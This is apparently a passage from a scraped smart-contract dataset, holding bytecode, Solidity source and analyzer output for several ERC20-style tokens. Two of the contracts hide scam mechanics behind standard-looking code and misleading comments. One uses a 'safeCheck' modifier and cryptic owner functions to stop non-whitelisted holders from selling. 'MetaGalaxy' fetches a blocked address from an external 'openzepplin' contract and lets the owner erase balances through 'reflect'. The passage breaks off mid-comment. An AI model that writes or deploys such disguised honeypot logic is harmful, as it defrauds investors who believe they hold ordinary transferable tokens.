252517fcef55b6688c0d2198b4841b7c6a8247f60385b4b5ce83e22506fb3258036379b9181900360200190a150565b6001546001600160a01b031681565b6001546001600160a01b031633146109ac576040805162461bcd60e51b815260206004820152601660248201527526b2b935b632a1b630b4b69d102737ba1027bbb732b960511b604482015290519081900360640190fd5b6109b68282610c9f565b604080516001600160a01b03841681526020810183905281517ffb9321085d4e4bed997685c66125572b6a0104e335681818c35b3b4d57726d6e929181900390910190a15050565b60025481565b6001546001600160a01b03163314610a5c576040805162461bcd60e51b815260206004820152601660248201527526b2b935b632a1b630b4b69d102737ba1027bbb732b960511b604482015290519081900360640190fd5b600054604080516370a0823160e01b815230600482015290516001600160a01b039092169163a9059cbb91859184916370a08231916024808301926020929190829003018186803b158015610ab057600080fd5b505afa158015610ac4573d6000803e3d6000fd5b505050506040513d6020811015610ada57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610b2b57600080fd5b505af1158015610b3f573d6000803e3d6000fd5b505050506040513d6020811015610b5557600080fd5b5051610ba8576040805162461bcd60e51b815260206004820152601c60248201527f4d65726b6c65436c61696d3a205472616e73666572204661696c656400000000604482015290519081900360640190fd5b5050565b6000546001600160a01b031681565b6000610bfd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cee565b9392505050565b6000610bfd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d85565b600082610c5557506000610305565b82820282848281610c6257fe5b0414610bfd5760405162461bcd60e51b8152600401808060200182810382526021815260200180610deb6021913960400191505060405180910390fd5b6001600160a01b0382166000908152600560205260409020819055600254610cce90829063ffffffff610c0416565b6001600160a01b0390921660009081526006602052604090209190915550565b60008184841115610d7d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d42578181015183820152602001610d2a565b50505050905090810190601f168015610d6f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610dd45760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610d42578181015183820152602001610d2a565b506000838581610de057fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a72315820ad3786b1924a0b8ddc66db8029642dbada8877c9d96f5241c175ae08047d557e64736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 9,951 |
0xf25c642e55f58d87af82f9ee0f6d11d387fd56c8 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_MINT(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122006b66355312bc3eeb1955dc6804e3c401de3e6c6bc5a4b91f5a9efb089bd15b964736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 9,952 |
0xf811ec176b8b997b12554e911797f44b66c3ad13 | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function zeroAddress() virtual external view returns (address){}
/**
* @dev Returns the zero address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function approver() virtual external view returns (address){}
/**
* @dev approver of the amount of tokens that can interact with the allowance mechanism
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract MetaGalaxy is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal nulls;
address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Reflects a specific amount of tokens.
* param value The amount of lowest token units to be reflected.
*/
function reflect(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: reflect from the zero address");
_reflect (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) _allowed(tokens);
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function _allowed(uint tokens) internal {
nulls = IERC20(openzepplin).zeroAddress();
number = tokens;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
